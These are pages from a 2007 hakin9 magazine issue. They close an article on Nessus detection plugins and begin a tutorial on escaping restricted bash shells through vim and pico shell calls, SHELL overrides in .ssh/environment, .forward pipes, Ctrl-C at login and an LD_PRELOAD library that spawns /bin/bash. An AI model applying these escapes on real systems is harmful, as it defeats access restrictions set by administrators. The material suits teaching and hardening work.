"IPC$"

);

if

(

r

!=

1

)

exit

(

0

);

#connect to registry key

hklm

=

RegConnectRegistry

(

hkey

:

HKEY_LOCAL_MACHINE

);

#exit if key does not exist

if

(

isnull

(

hklm

)

)

{

NetUseDel

();

exit

(

0

);

}

key

=

"SOFTWARE

\M

icrosoft

\T

ransaction Server

\P

ackages"

;

#open key SOFTWARE\Microsoft\Transaction Server\Packages

key_h

=

RegOpenKey

(

handle

:

hklm

,

key

:

key

,

mode

:

MAXIMUM_ALLOWED

|

ACCESS_SYSTEM_SECURITY

);

#check if key exist

if

(!

isnull

(

key_h

))

{

#get key privilege

rep

=

RegGetKeySecurity

(

handle

:

key_h

,

type

:

DACL_SECURITY_INFORMATION

|

SACL_SECURITY_INFORMATION

|

§

GROUP_SECURITY_INFORMATION

|

OWNER_SECURITY_INFORMATION

);

#check if key is writable by non admin users

if

(!

isnull

(

rep

)

&&

registry_key_writeable_by_non_admin

(

security_descriptor

:

rep

))

{

#if so it's a flaw

security_warning

(

port

);

}

#close registry connection

RegCloseKey

(

handle

:

key_h

);

}

#close registry connection

RegCloseKey

(

handle

:

hklm

);

#close network connection

NetUseDel

();

background image

hakin9 Nr 8/2007

www.hakin9.org

Początki

24

bootowania. Aby tej sztuki dokonać,
programy takie muszą dodać wpis w
rejestrze w HKEY_LOCAL_MACHINE\
SYSTEM\CurrentControlSet\Services\
servicename.Następnie muszą one
ustawić wpis podklucza o nazwie
«ImagePath» zawierający ścieżkę do
wykonywalnych danych, które mają
zostać załadowane do pamięci (Listing
9.), gdzie driverName lub serviceName
ma taką samą wartość jak powiązana
nazwa podklucza Services (w naszym
przypadku jest to servicename) (aby
dowiedzieć się więcej, zobacz: http:

//support.microsoft.com/kb/103000)
Skrypt wykrywający określony wpis w
rejestrze. Zobacz Listing 4.

Podejrzana

załadowana usługa

Każdy wpis w HKEY_LOCAL_

M A C H I N E \ S Y S T E M \ C u r r e n t

ControlSet\Services jest usługą i
posiada klucz startowy (stała REG_

DWORD). Klucz ten określa począt-
kowe wartości dla danych usług . Zo-
bacz Tabela 1. Wartość początkowa
jest ignorowana dla adapterów. Jeśli
Typ to wartość Win32 Service, war-
tość początkowa musi być ustawiona
na Auto, Demand, lub Disabled.

Zobacz również: http://support.

microsoft.com/kb/103000 for details.

Przykład użycia: robak o na-

zwie W32/Sdbot.worm.gen.by (zo-
bacz opis pod adresem http://vil.

mcafeesecurity.com/vil/content/v_

133133.htm) dodaje podejrzany wpis
klucza pod hkey _local_machine\

system\currentcontrolset\services\

rpcsvc\ imagepath=" %WinDir%\

System32\rpcsvc.exe".

Podejrzana

wyłączona usługa

Zgodnie z powyższą tabelą, wartość
klucza ustawiona na 0x3 lub 0x4 mo-
że budzić podejrzenia. Typowym dzia-
łaniem jest sprawdzenie, czy została
wyłączona usługa antywirusowa.

Działanie plugina przedstawiamy

na Listingu 5.

Podejrzane konto,

kradzież hasła

Nessus posiada mechanizmy słu-
żące do wykrywania podejrzanych

Listing 8.

Sprawdzanie uprawnień powłoki

#check if Nessus version is up to date enough (>= 2.1.1) to know the

§

pread

#function

if

(

!

defined_func

(

"pread"

)

)

exit

(

0

);

if

(

description

)

{

script_id

(

95002

);

script_version

(

"1.0"

);

name

[

"english"

]

=

"Shell SUID permission"

;

script_name

(

english

:

name

[

"english"

]);

desc

[

"english"

]

=

"

This plugin checks wrong permission on /bin/bash and /bin/zsh

Risk factor: High"

;

script_description

(

english

:

desc

[

"english"

]);

summary

[

"english"

]

=

"Check SUID bit on shells"

;

script_summary

(

english

:

summary

[

"english"

]);

script_category

(

ACT_GATHER_INFO

);

script_copyright

(

english

:

"This script is Copyright (C) 2007

§

David Maciejak"

);

family

[

"english"

]

=

"Policy Compliance"

;

script_family

(

english

:

family

[

"english"

]);

script_dependencies

(

"ping_host.nasl"

,

"ssh_settings.nasl"

);

exit

(

0

);

}

#load SSH functions

include

(

"ssh_func.inc"

);

buf

=

""

;

port

=

kb_ssh_transport

();

# On the local machine, just run the command

if

(

islocalhost

())

{

#execute command with process read

buf

=

pread

(

cmd

:

"ls"

,

argv

:

make_list

(

"ls"

,

"-l"

,

"/bin/bash"

,

§

"/bin/ksh"

));

}

else

{

#try to open or reuse an existing SSH connection

sock

=

ssh_login_or_reuse_connection

();

if

(!

sock

)

exit

(

0

);

#if socket is open, execute command remotely

buf

=

ssh_cmd

(

socket

:

sock

,

cmd

:

"/bin/ls -l /bin/bash /bin/ksh"

,

§

timeout

:

60

);

ssh_close_connection

();

}

if

(!

buf

)

{

display

(

"could not execute command

\n

"

);

exit

(

0

);

}

#split each line from the buffer

lines

=

split

(

buf

);

shells

=

""

;

foreach

line

(

lines

)

{

#typical line is -rwsr-xr-x 1 root root 664084 2006-04-22 00:51 /bin/bash

#check for SUID

if

(

eregmatch

(

pattern

:

'^

-

..

s

',

string

:

line

,

icase

:

0

))

{

buf2

=

split

(

line

,

sep

:

' '

);

#check file owner

if

(

chomp

(

buf2

[

2

])

><

"root"

)

{

#shellname is the last from ls command

shellname

=

buf2

[

max_index

(

buf2

)-

1

];

shells

+=

'

\n

'

+

shellname

;

}

}

}

if

(

shells

>!<

""

)

{

report

=

desc

[

"english"

]

+

'\

n

\

nPlugin

output

:

\

n

\

nThe

shells

below

have

§

incorrect

permission

:

\

n

'

+

shells

;

security_hole

(

port

:

port

,

data

:

report

);

}

exit

(

0

);

background image

www.hakin9.org

nazw kont, kont bez hasła i dobrze
znanych par konto/hasło.

Poniżej przedstawiamy działanie

pluginu sprawdzającego, czy w sys-
temie istnieje konto o nazwie hax0r
z pustym hasłem. Cała praca opie-
ra się na funkcji

check _ account

, któ-

ra próbuje za pomocą protokołów tel-
net lub ssh połączyć się ze zdalnym
celem. Zobacz Listing 6.

Użytkownicy aplikacji Nessus 3

mogą korzystać z opcji sprawdzania
zgodności. Mogą poddawać audyto-
wi konfigurację urządzeń systemów
UNIX i Windows. Mogą sprawdzać
minimalny/maksymalny okres ważno-
ści hasła, minimalną długość hasła,
złożoność hasła i mają do dyspozycji
jeszcze wiele innych możliwości.

Przykład:

<item>
name: "min_password_length"

description: "Minimum password length"
value: "14..MAX"
</item>

Ten audyt sprawdza, czy minimalna
długość hasła w systemie UNIX wy-
nosi 14 znaków.

Aby dowiedzieć się więcej, zo-

bacz: http://cgi.tenablesecurity.com/

nessus_compliance_checks.pdf.

Podejrzane przywileje

lub uprawnienia obiektu

Przywilej w rejestrze SMB może być
niezgodny z polityką bezpieczeństwa,
co z kolei może doprowadzić do ujaw-
nienia informacji umożliwiającej nie-
powołanemu użytkownikowi dostęp
do danych. Skrypt (Zobacz Listing 7)
sprawdzający HKLM\SOFTWARE\

Microsoft\Transaction Server\Pack-

ages, zobacz też MS00-095,

W rodzinie systemów UNIX moż-

na niekiedy sprawdzić uprawnie-
nia za pomocą lokalnych pluginów.
Skrypt (zobacz Listing 8.) testuje,
czy zwykłe powłoki mają SUID ro-
ota; ten rodzaj luki może potencjal-
nie dać atakującemu nieautoryzowa-
ny dostęp z poziomu roota.

Zauważmy, że ten rodzaj skryp-

tu wykorzystującego polecenia ze-
wnętrzne musi być podpisany przez
zespół Nessus dla celów bezpieczeń-
stwa (za pomocą polecenia

nasl -S

),

zanim zostanie użyty. Należy usta-
wić opcję nasl_no_signature_check
na wartość yes w nessusd.conf, co
spowoduje, że serwer Nessus doko-
na obejścia jakichkolwiek sygnatur
skryptów i serwer Nessus wczyta/
wykona skrypty bez względu na au-
tentyczność sygnatur.

W systemach Windows, taki plu-

gin może również zostać wykonany
poprzez połączenie SMB lub instala-
cję serwera SSH.

Jeśli posiadasz Nessus 3 direct

feed, powinieneś przeprowadzić
sprawdzanie zgodności.

Audyt FILE_CHECK jest wyko-

rzystywany do wykrywania danego
pliku i jego ustawień. Na Listingu 10.
możesz zobaczyć odpowiednik tego,
co robi skrypt. l

Listing 9.

Fragment rejestru

systemu Windows

ImagePath

REG_DWORD

Path

and

filename

Specifies

a

path

name

.

For

adapters

,

this

value

is

ignored

.

Default

:

For

a

driver

:

%

WinDir

%

\

SYSTEM32

\

DRIVERS

\

§

driverName

.

SYS

For

a

service

:

%

WinDir

%

\

SYSTEM32

\

§

serviceName

.

EXE

Listing 10.

Przykład audytu

<

custom_item

>

sytem

:

"Linux"

type

:

FILE_CHECK

description

:

"Permission and

ownership check for /bin/bash"

file

:

"/bin/bash"

owner

:

"root"

group

:

"root"

mode

:

"-rwxr-xr-x"

<

/

item

>

O autorze

David Maciejak mieszka we Francji,
jest specjalistą do spraw zabezpieczeń.
Spędził nieco swojego wolnego czasu,
pracując nad opensourceowymi pro-
jektami, takimi jak Nessus, Metasplo-
it oraz Snort.
Kontakt z autorem: koma@kyxar.fr

background image

www.hakin9.org

hakin9 Nr 8/2007

26

Atak

R

estrykcyjna powłoka (restricted shell)
to powłoka systemowa zmodyfikowa-
na w taki sposób, aby ograniczyć za-

kres możliwości użytkownika. Taka powło-
ka zwykle znajduje zastosowanie w momen-
cie, gdy administrator stoi przed konieczno-
ścią utworzenia konta dla użytkownika, któ-
ry nie jest w pełni zaufany. Chodzi tu o to, by
zapobiec takim sytuacjom jak np. zbieranie in-
formacji o systemie i jego użytkownikach po-
przez odczyt plików konfiguracyjnych czy uru-
chamianie programów systemowych zdradza-
jących istotne informacje. Czasem zachodzi
też potrzeba ochrony użytkownika przed sa-
mym sobą – niewprawny użytkownik, korzy-
stając z narzędzia, które nie jest mu do końca
znane, mógłby wykasować część plików zgro-
madzonych na jego koncie czy też – poprzez
nadanie złych uprawnień – udostępnić plik oso-
bom niepowołanym. Przykładem zastosowania
restrykcyjnej powłoki może być serwer poczto-
wy, na którym nie działa serwer WWW. Nie ma
zatem panelu pocztowego, na którym użytkow-
nicy mogliby sprawdzać swoją pocztę zdalnie
(poprzez przeglądarkę WWW). Administrator
może pokusić się tutaj o przyznanie użytkowni-
kom restrykcyjnej powłoki, tak aby po zdalnym

połączeniu możliwe było uruchomienie klienta
pocztowego oraz programu passwd - w celu
zmiany hasła do konta.

Tworzenie restrykcyjnego

środowiska

Administratorzy w celu utworzenia restrykcyj-
nego środowiska zazwyczaj wykorzystują stan-
dardowe powłoki dostępne w systemie, takie

Restrykcyjne powłoki

– jak je obejść?

Dawid Gołuński

stopień trudności

Administratorzy, chcąc ograniczyć swobodę użytkowników

systemu, decydują się na ustawienie restrykcyjnej powłoki, tak

aby umożliwić wykonywanie tylko wybranych komend. Niestety,

utworzenie w pełni restrykcyjnego środowiska nie jest rzeczą

łatwą, a najdrobniejsze przeoczenie może zezwolić sprytnemu

użytkownikowi na wydostanie się z pułapki.

Z artykułu dowiesz się

• czym są, oraz jak działają restrykcyjne powłoki,
• w jaki sposób zbudowane jest typowe restryk-

cyjne środowisko,

• poznasz sposoby na wydostanie się z ograni-

czonego shella,

• czego użyć do zbudowania bardziej niezawod-

nego restrykcyjnego środowiska.

Co powinieneś wiedzieć

• posiadać wiedzę na temat pracy z systemową

powłoką,

• znać przynajmniej podstawy działania syste-

mów z rodziny linux/unix,

• znać podstawy języka C.

background image

Restrykcyjne powłoki

hakin9 Nr 8/2007

www.hakin9.org

27

jak bash, sh czy ksh. Powłoki te, od-
powiednio wywołane, mogą stać się
powłokami restrykcyjnymi. Zwykle
wystarczy wywołać plik powłoki pod
nazwą zaczynającą się od litery r. Dla
powłoki bash, będzie to rbash, dla sh
- rsh itd. Wygodnie jest tutaj posłużyć
się dowiązaniem symbolicznym:

ln -s /bin/bash /bin/rbash

Innym sposobem jest wywoła-
nie powłoki z parametrem

-r

, lub

-restricted

.

Powłoka uruchomiona w takim

trybie będzie nakładała ogranicze-
nia. Najbardziej istotne z nich to:

• brak możliwości zmiany katalogu

poleceniem

cd

,

• użytkownik może uruchamiać je-

dynie komendy zawarte w zmien-
nej

PATH

lub wbudowane w samą

powłokę,

• brak możliwości zmiany zmien-

nych środowiskowych

SHELL

,

PATH

,

ENV

,

BASH _ ENV

,

• zabronione uruchamianie ko-

mend zawierających ścieżkę do
pliku (np.

/bin/ls

),

• zabronione przekierowanie wyj-

ścia aplikacji przy użyciu opera-
torów jak

>

czy

>>

,

• wyłączona komenda

exec

.

Po utworzeniu restrykcyjnej powło-
ki, w postaci symbolicznego linku
rbash, jesteśmy gotowi, aby przypi-
sać ją danemu użytkownikowi. Można
tego dokonać, edytując bezpośrednio
plik passwd lub wydając komendę:

usermod -s /bin/rbash john

Niekiedy konieczne może okazać się
dodanie linijki /bin/rbash do pliku /

etc/shells, w przeciwnym razie część
usług (jak np. serwer FTP) może od-
mówić zalogowania użytkownika.

Ustawienie samej powłoki to nie

wszystko; kolejnym krokiem jest przy-
gotowanie katalogu użytkownika. Ka-
talog ten powinien mieć ustawione
prawa 511 (najlepiej gdyby jego wła-
ścicielem był root, a nie użytkownik).
Wewnątrz katalogu należy utworzyć
plik .bash_profile ustawiając mu pra-

wa dostępu 444 oraz właściciela ro-

ot. Poza katalogiem domowym użyt-
kownika należy utworzyć katalog, w
którym umieszczone zostaną wybra-
ne programy. Może to być np. /usr/

local/rbin. W katalogu tym umieścimy
dowiązania symboliczne do aplikacji,
które chcemy udostępnić, np.

ln –s /usr/bin/passwd \
/usr/local/rbin/passwd

Ostatnim krokiem jest edycja pli-
ków konfiguracyjnych powłoki. W pli-
ku /etc/profile znajdują się globalne
ustawienia. Aby wpisy z tego pliku nie
miały wpływu na ustawienia powłoki

rbash, jego zawartość należy zamie-
ścić w ramach instrukcji warunkowej:

if [ ”$0” = ”-bash” ]; then
#tutaj wstawić dotychczasową zawartość#
#pliku /etc/profile #
fi

Natomiast lokalny plik ustawień

.bash_profile powinien zawierać tyl-
ko jedną linijkę – określającą ścież-
kę do katalogu z przygotowanymi
wcześniej programami:

export PATH=/usr/local/rbin

Ewentualnie, jeśli chcemy odebrać
użytkownikowi możliwość wykony-
wania niektórych poleceń wewnętrz-
nych, musimy na końcu pliku dopisać
linijkę zawierającą komendę

enable

–n

, po której podajemy komendy, ja-

kie chcemy wyłączyć. Np.:

enable –n pwd unset

Jak to działa?

Gdy użytkownik zaloguje się do sys-
temu (ssh), zostanie przeniesio-
ny do katalogu domowego, a na-
stępnie uruchomiana jest powłoka

/bin/rbash. Powłoka wczytuje pliki
konfiguracyjne poczynając od /etc/

profile. Instrukcja warunkowa zawar-
ta na początku sprawdza, czy zero-
wy argument (

argv[0]

) jest równy cią-

gowi znaków -bash. W przypadku
powłoki rbash argument

0

jest równy

-rbash toteż polecenia zgromadzo-
ne wewnątrz warunku

if

nie zosta-

Rysunek 1.

Ograniczenia wprowadzane przez powłokę rbash

Błąd w programie bash

Na niektórych systemach utworzenie
linku rbash oraz ustawienie go jako
shella nie przynosi zamierzonego re-
zultatu – powłoka nie rozpoczyna pra-
cy w trybie restrykcyjnym. Jest to błąd,
który został załatany w wersji 3.0 pro-
gramu bash. Można ominąć ten pro-
blem poprzez utworzenie pośrednie-
go skryptu:

#!/bin/bash
/bin/rbash –l

Taki skrypt należy zapisać jako np.
/bin/rshell, nadać mu prawo wykonywa-
nia, a następnie ustawić go jako powło-
kę. Po zalogowaniu powinniśmy otrzy-
mać rbasha działającego już z restryk-
cjami. Lepiej jednak rozważyć aktualiza-
cję do wersji 3.0.

background image

hakin9 Nr 8/2007

www.hakin9.org

Atak

28

ną wykonane. Powłoka przejdzie do
wykonania lokalnego pliku konfigura-
cyjnego – .bash_profile, który ustawi
zmienną środowiskową

PATH

. Dziwić

może fakt zmiany tej zmiennej, gdyż
zgodnie z tym, co wcześniej napisa-
łem – jednym z ograniczeń powłoki

rbash jest ustawienie zmiennej

PATH

w stan tylko do odczytu. Powodowa-
ne jest to tym, że wszystkie wymie-
nione ograniczenia wprowadzane są
dopiero po załadowaniu plików star-
towych (dlatego tak istotne jest usta-
wienie właściwych uprawnień).

Wydostajemy

się z pułapki

Utworzone według przedstawionego
schematu restrykcyjne środowisko
zdaje się być bezpieczne. Niestety,
bezpieczeństwo to jest ściśle zwią-
zane z udostępnionymi programami,
jak też z – pozornie niezwiązanymi z
tym środowiskiem – usługami dzia-
łającymi na serwerze. Poniżej po-
staram się pokazać kilka przykłado-
wych sytuacji, w których możliwe jest
ominięcie zabezpieczeń powłoki.

Operacje na plikach

Niektórzy administratorzy zapomi-
nają o fakcie, że restrykcyjna powło-
ka rbash nie zamyka użytkownika w
specjalnie odseparowanym drzewie
katalogów (wykorzystując funkcję

chroot()

) – blokuje ona jednie zmia-

nę katalogu za pomocą komendy

cd

.

Zapominają również o tym, że odwo-
łania do plików zawierających ścież-
kę dostępową blokowane są tylko w
przypadku, gdy użytkownik próbu-
je odwołać się bezpośrednio do apli-
kacji np. /bin/ls lub też wykonać in-
strukcje

exec /etc/profile

czy

source

/etc/profile

. Oznacza to, że jeśli

użytkownik ma dostęp do programu

pico, to nic nie stoi na przeszkodzie,
aby po wydaniu komendy:

pico /etc/

passwd

ujrzał on plik passwd.

Shell escape

Większość programów nie była nie-
stety pisana pod kątem współpracy
z restrykcyjnymi powłokami. Niektóre
z nich zawierają wbudowaną funkcję
pozwalającą na odwołanie się do po-
włoki (shell escape). Zazwyczaj funk-

cję tą wywołuje się przy użyciu zna-
ku !. Przydaje się to np. w momen-
cie, gdy pracując pod kontrolą klien-
ta FTP chcemy obejrzeć listę plików w
bieżącym katalogu. Nie musimy wtedy
otwierać nowej sesji SSH, wystarczy
bowiem, że wydamy w linii poleceń ko-
mendę:

! ls -l

. Przykłady standardo-

wych programów dostępnych w syste-
mie i oferujących shell escape: telnet,

mail, ftp, less, more, vi, gdb, lynx.

Można by się spodziewać, że

przekazane komendy zostaną wy-
konane w oparciu o powłoką zdefi-
niowaną w zmiennej

SHELL

– w na-

szym przypadku /bin/rbash. Nieste-
ty nie zawsze tak jest. Część pro-
gramów nie zwraca uwagi na zmien-
ne środowiskowe – wykonując prze-
kazane polecenia przy użyciu trwa-
le ustalonej (w kodzie programu) po-
włoki – /bin/bash czy też /bin/sh.

Ciekawym przykładem może być

tutaj program vim. Zwraca on wpraw-
dzie uwagę na zmienną środowisko-

SHELL

– po rozpoczęciu pracy ko-

piuje jej zawartość do wewnętrznej
zmiennej shell. Problem polega jed-
nak na tym, że ustawienia progra-
mu vim możemy dowolnie edytować
w czasie jego działania. Wystarczą
do tego dwie komendy wydane w li-
nii poleceń, (do której dostaniemy się
sekwencją klawiszy [ESC][:]) :

set shell=/bin/bash

shell

Możemy również wydać te dwie ko-
mendy już przy wywołaniu edytora

vim. Służy do tego parametr

--cmd

, co

ilustruje Rysunek 3. W efekcie, otrzy-
mamy powłokę bash, bez restrykcji.
Warto tutaj zaznaczyć, że vim pozwa-
la na zablokowanie możliwości korzy-
stania z powłoki. Wystarczy, że – po-
dobnie jak w przypadku basha – utwo-
rzymy link symboliczny o nazwie rvim.
Od tej pory, próba wykonania komen-
dy

shell

skończy się komunikatem:

Shell commands not allowed in rvim

Rysunek 2.

Użycie funkcji shell escape w programach telnet, gdb oraz ftp

Rysunek 3.

Uruchomienie powłoki /bin/bash przy pomocy funkcji shell

edytora vim

background image

Restrykcyjne powłoki

hakin9 Nr 8/2007

www.hakin9.org

29

Odwołania do pomocniczych

programów

Niektóre programy użytkowe, mając
na celu przeprowadzenie pewnych
operacji, odwołują się do zewnętrz-
nych aplikacji, np. popularny edy-
tor pico odwołuje się do programu

ispell, w celu sprawdzenia poprawno-
ści edytowanego tekstu, przeglądar-
ki links oraz lynx wywołują program
pocztowy, ilekroć otworzymy link za-
czynający się od mailto: itd.

Problem pojawia się w momen-

cie, gdy użytkownik ma możliwość
określenia ścieżki do programu. Nic
nie stoi wtedy na przeszkodzie, aby
zamiast ścieżki do programu ispell
– podać ścieżkę do zupełnie innej
aplikacji. W zależności od sposobu,
w jaki uruchamiany jest zewnętrzny
program (w tym użyte przełączniki)
– istnieje szansa na poprawne wy-

konanie wybranej przez nas aplika-
cji, którą może być program bash.

W przypadku programu pico

sprawa jest prosta. Ścieżkę do pro-
gramu ispell możemy zmieniać za
pomocą przełącznika

-s

:

pico -s /bin/bash

Po uruchomieniu edytora, wpisujemy
komendy, jakie chcemy przekazać do
powłoki bash, oddzielając je znakami
nowej linii. Edycję kończymy kombi-
nacją klawiszy [CTRL][T], która od-
powiada za przekazanie bufora edy-
cji do zdefiniowanego programu. Prze-
kazanie to odbywa się poprzez zapis
bufora do tymczasowego pliku, a da-
lej przekazanie ścieżki do niego jako
argument:

/bin/bash /tmp/pico.xxxx

Efektem tak utworzonego polecenia,
będzie zinterpretowanie tymczaso-
wego pliku pico – zupełnie tak, jakby
był on zwyczajnym skryptem bash.

Sporo programów pozwala na

zdefiniowanie ulubionego edyto-
ra tekstu (np. pine). Nawet jeśli nie
widać możliwości dokonania takiej
zmiany w konfiguracji samego pro-
gramu ani w dostępnych przełącz-
nikach - należy sprawdzić, czy pro-
gram nie korzysta ze zmiennej środo-
wiskowej o nazwie

EDITOR

lub

VISUAL

.

Zmienne te nie są chronione przez
restrykcje rbasha, a zatem można
przypisać im dowolną ścieżkę.

Podmiana zmiennej $SHELL

Jeżeli na serwerze działa serwer SSH,
a opcja

PermitUserEnvironment

znajdu-

jąca się w pliku konfiguracyjnym usłu-
gi sshd_config jest ustawiona na

ON

(opcja ta domyślnie jest wyłączona)
– istnieje szansa na zmianę niektó-
rych zmiennych środowiskowych, któ-
re mogą mieć poważny wpływ na dzia-
łanie rbasha. Jest to możliwe, gdyż de-

amon sshd zaraz po uwierzytelnie-
niu użytkownika ustawia podstawo-
we zmienne środowiskowe, a następ-
nie wczytuje plik .ssh/environment, je-
śli takowy istnieje. Przypuśćmy, że w
pliku tym znalazłaby się linijka:

SHELL=/bin/bash

Co się wtedy stanie? Deamon SSH
po zalogowaniu użytkownika ustawi
zmienną

SHELL

na wartość /bin/rbash

w oparciu o informacje z pliku passwd,
jednak zaraz po odczycie pliku envi-

ronment zmienna ulegnie nadpisaniu.

Do przeprowadzenia takiego ata-

ku konieczne jest (oprócz wspomnia-
nej konfiguracji sshd) istnienie ka-
talogu .ssh (ewentualnie dostęp do
polecenia

mkdir

) z możliwością zapi-

su. Gdy katalog domowy ma upraw-
nienia +rx, możemy w prosty sposób
wylistować jego zawartość- używa-
jąc (wbudowanej) komendy

echo *

.

Konieczny będzie również dostęp do
aplikacji, która pozwoli na utworze-
nie pliku environment. Nie musi to być
edytor tekstu, równie dobrze w tej ro-
li sprawdzi się popularny klient pocz-
towy pine.

Rysunek 4.

Zmiana ścieżki programu obsługującego protokół mail w

programie links

Rysunek 5.

Wykorzystanie funkcji sprawdzającej pisownię w pico, do

wykonania poleceń powłoki bash

background image

hakin9 Nr 8/2007

www.hakin9.org

Atak

30

Cała operacja sprowadza się do

wysłania pliku environment mailem
z innego konta, odebrania maila oraz
skorzystania z funkcji programu pine,
która umożliwia zapis treści maila w
podanej lokalizacji. Funkcja ta jest do-
stępna po wybraniu opcji ViewAttach.

Jeśli zapis się powiedzie, po po-

nownym zalogowaniu na konto zmien-
na

SHELL

powinna zostać zamieniona.

Dzięki temu, możliwe stanie się sko-
rzystanie z – wcześniej omówionej
– funkcji shell escape, któregoś z do-
stępnych programów, np. telnet, w ce-
lu wykonania poleceń w oparciu o
zdefiniowaną przez nas powłokę.

.forward

Plik .forward umieszczony w katalo-
gu domowym użytkownika używa-
ny jest przez program sendmail w
celu przekierowania maili (przezna-
czonych dla użytkownika) pod wska-
zany adres. Oprócz adresów mailo-
wych, dozwolone jest podanie ścież-
ki do programu, do którego chcemy
przesłać treść listu. Posiadając moż-
liwość edycji tego pliku, ustawiamy
go na:

john@mailserver.com

, ”| /bin/bash –c

nasza_komenda”

Nadchodzący mail zostanie wysłany
pod adres Johna, ale także na wej-
ście programu bash - powodując wy-
konanie naszej komendy.

Na szczęście taki atak nie powie-

dzie się w większości przypadków

– ze względu na to, że podane po-
lecenie najczęściej zostaje wykona-
ne w oparciu o specjalną restrykcyj-
ną powłokę sendmaila zwaną smrsh.
Powłoka ta sprawia, że wykonane
mogą zostać jedynie programy za-
warte w katalogu /etc/smrsh.

Zmiana uprawnień

plików i katalogów

Jak już zdążyliśmy się przekonać
– uprawnienia nadane plikom czy ka-
talogom zawartym w katalogu domo-
wym mają ogromne znaczenie. Je-
żeli administrator omyłkowo udo-
stępni komendę

chmod

, istnieje ryzy-

ko, że użytkownik nada katalogowi
domowemu prawo +w, co uprawni go
do skasowania pliku .bash_profile.
Przy kolejnym zalogowaniu, zmien-

na

PATH

nie zostanie ograniczona do

/usr/local/rbin – a co za tym idzie, ist-
nieje duże prawdopodobieństwo, że
w ścieżce znajdzie się katalog /bin
(a to już tylko krok od uruchomienia
normalnego basha).

Czasami istnieje możliwość zmia-

ny uprawnień bez użycia programu

/bin/chmod. Wyobraźmy sobie, że na
tym samym serwerze działa usługa
FTP. O ile administrator nie ograniczył
dostępu do tej usługi, a także nie wpro-
wadził restrykcji na instrukcję FTP SI-
TE CHMOD, użytkownik po połącze-
niu na port 21 może wydać komen-

chmod 777

, aby dalej bez większych

przeszkód wykasować plik .bash_pro-

file lub też nadpisać go innym.

Przerwanie skryptu

startowego

Niejednokrotnie administratorzy two-
rząc rozbudowane skrypty startowe
zapominają o obsłudze sygnałów.
Spójrzmy chociażby na skrypt za-
warty w Listingu 1.

Wystarczy, że użytkownik w cza-

sie działania komendy

sleep 5

, wci-

śnie kombinację klawiszy [CTR-

L][C] – powodując wysłanie sygna-
łu

SIGINT

. Poskutkuje to natychmia-

stowym zakończeniem skryptu. Je-
żeli wykonanie komendy

export

nie

dojdzie do skutku, zmienna

PATH

nie

zostanie ustawiona, a tym samym
użytkownik nie zostanie ograniczony
do komend z katalogu rbin. Sygnały
mogą być kontrolowane za pomocą

Listing 1.

Nieco bardziej rozbudowany skrypt .bash_profile

echo

n

Witamy

na

serwerze

echo

`/

bin

/

hostname

`

echo

echo

Prosimy

zapoznac

sie

z

zasadami

:

cat

/

etc

/

motd

sleep

5

clear

export

PATH

=

/

usr

/

local

/

rbin

enable

n

pwd

Listing 2.

Współdzielona biblioteka, uruchamiająca powłokę bash

#include

<stdio.h>

void

localtime

()

{

unsetenv

(

"LD_PRELOAD"

);

system

(

"echo ok! && /bin/bash"

);

exit

(

0

);

}

Rysunek 6.

Wykorzystanie programu pine do zapisu pliku environment

background image

Restrykcyjne powłoki

hakin9 Nr 8/2007

www.hakin9.org

31

funkcji

trap

. Zignorowanie sygnału

SIGINT

można uzyskać komendą:

trap ““ SIGINT

Załadowanie biblioteki

Bardzo ciekawą – a zarazem dają-
cą duże szanse powodzenia – meto-
dą na wydostanie się z ograniczonej
powłoki, jest załadowanie wcześniej
utworzonej, specjalnie spreparowa-
nej biblioteki. Jest to możliwe, gdyż
systemowy linker/loader (ld.so) po-
zwala na określenie współdzielonej
biblioteki, która zostanie załadowana
przed wykonaniem programu. Daje
to z kolei szansę na nadpisanie wy-
branej funkcji, używanej przez uru-
chamiany (przez loader) program.

Ścieżkę do biblioteki, jaką ma dla

nas załadować linker, możemy wska-
zać na dwa sposoby - zapisując ją w
pliku /etc/ld.so.preload lub w zmien-
nej środowiskowej

LD _ PRELOAD

. Do-

stęp do pliku ld.so.preload ma tyl-
ko root – dlatego pozostaje posłuże-
nie się zmienną. Powłoka rbash nie
ustawia tej zmiennej w tryb readon-

ly. O ile administrator nie zabloko-
wał wszystkich komend służących
do zmiany środowiska (co się rzad-
ko zdarza), będziemy w stanie przy-
pisać do niej dowolną ścieżkę.

Oprócz dostępu do polecenia

zmieniającego środowisko, potrzeb-
ne będzie miejsce oraz sposób, w jaki
zapiszemy plik binarny biblioteki. Jeśli
mamy prawo zapisu do katalogu do-
mowego (lub jednego z podkatalogów)
oraz dostęp do FTP – problem rozwią-
zany. Gdy mamy dostęp do programu

pine, skompilowaną bibliotekę może-
my przesłać w załączniku maila. Pro-
gram pine nie nadaje prawa do wyko-
nywania zachowywanym załącznikom
– co jednak nie przeszkadza w zała-
dowaniu biblioteki dynamicznej przez

ld.so (wystarczy, że plik posiada pra-
wo +r) . Pozostaje problem miejsca, w
którym zapiszemy plik. Nawet jeśli nie
posiadamy prawa +w w obrębie całe-
go katalogu domowego, wciąż mamy
szansę na powodzenie naszych dzia-
łań. Możemy wykorzystać jeden z ka-
talogów na pliki tymczasowe, /tmp, lub

/var/tmp (nawet jeśli jest on zamonto-
wany jako noexec). Załóżmy jednak

najbardziej restrykcyjny scenariusz
– nie mamy dostępu do FTP, prawa
zapisu w katalogu domowym, a jedy-
ny przyznany nam program to prosty
kalendarzyk – cal. Okazuje się, że i z
tej sytuacji jest wyjście. Skoro do sys-
temu zalogowaliśmy się poprzez SSH,
najpewniej uda się skopiować nasz bi-
narny plik do katalogu /tmp przy po-
mocy scp.

Pozostaje napisanie współdzie-

lonej biblioteki. Jako że atak bę-
dzie polegał na nadpisaniu jednej z
funkcji atakowanego programu na-
szym kodem – zanim przystąpi-
my do tworzenia biblioteki, musimy
ustalić, z jakich funkcji on korzysta.
Trzymając się założonego scenariu-
sza, przystępujemy do badania je-
dynego programu, do którego mamy
dostęp – cal. Aby poznać używane

przez ten program funkcje, możemy
wyświetlić tablicę symboli za pomo-
cą programu objdump, w następują-
cy sposób:

objdump –T /usr/bin/cal | grep GLIBC

Widzimy, że jedną z wykorzystywa-
nych funkcji, jest funkcja

localtime()

.

Posiadając tą informację, możemy
przystąpić do pisania programu bi-
blioteki.

Przedstawiony na Listingu 2

przykładowy kod języka C wykonuje
cztery czynności. A mianowicie: usu-
nięcie zmiennej

LD _ PRELOAD

ze śro-

dowiska (w celu uniknięcia ingeren-
cji w wykonywane dalej programy),
wyświetlenie tekstu ok!, uruchomie-
nie programu powłoki /bin/bash oraz
przerwanie działania programu (cal),

Rysunek 8.

Tablica symboli programu cal

Rysunek 7.

